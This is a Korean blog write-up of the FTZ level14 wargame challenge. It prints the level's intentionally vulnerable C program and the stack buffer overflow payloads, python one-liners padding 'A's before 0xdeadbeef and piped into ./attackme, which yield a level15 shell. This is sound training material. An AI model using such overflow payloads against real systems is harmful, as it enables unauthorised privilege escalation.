FTZ level14

Posted by dw0rdptr
2015. 3. 17. 21:15 System/FTZ


hint


레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.

버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이

최고의 효과를 가져다줍니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <unistd.h> 
main(){  
 
    int crap; 
    int check;  
    char buf[20];  
    
    fgets(buf,45,stdin);  
    
    if (check==0xdeadbeef)
    {     
        setreuid(3095,3095);     
        system("/bin/sh");   
    }
}    
cs



프로그램 안에서 쉘을 실행시키기 때문에 조건만 만족시켜주면 된다


buf에서 버퍼 오버플로우를 일으켜 check에 deadbeef를 채우면 되는데

표준입력으로 받기 때문에 파이프명령어 사용


| buf[20] | dummy[?????] | check[4] | ------


buf와 check 사이의 dummy값을 모르기 때문에 20부터 하나씩 채워나간다


(python -c 'print "A"*21 + "\xef\xbe\xad\xde"';cat)| ./attackme

(python -c 'print "A"*28 + "\xef\xbe\xad\xde"';cat)| ./attackme

(python -c 'print "A"*30 + "\xef\xbe\xad\xde"';cat)| ./attackme

(python -c 'print "A"*35 + "\xef\xbe\xad\xde"';cat)| ./attackme


...


(python -c 'print "A"*40 + "\xef\xbe\xad\xde"';cat)| ./attackme




id

uid=3095(level15) gid=3094(level14) groups=3094(level14) 


성공.

my-pass



Level15 Password


'System > FTZ' 카테고리의 다른 글

FTZ level16  (0) 2015.03.17
FTZ level15  (0) 2015.03.17
FTZ level13  (0) 2015.03.17
FTZ level12  (0) 2015.03.17
FTZ level11  (0) 2015.03.17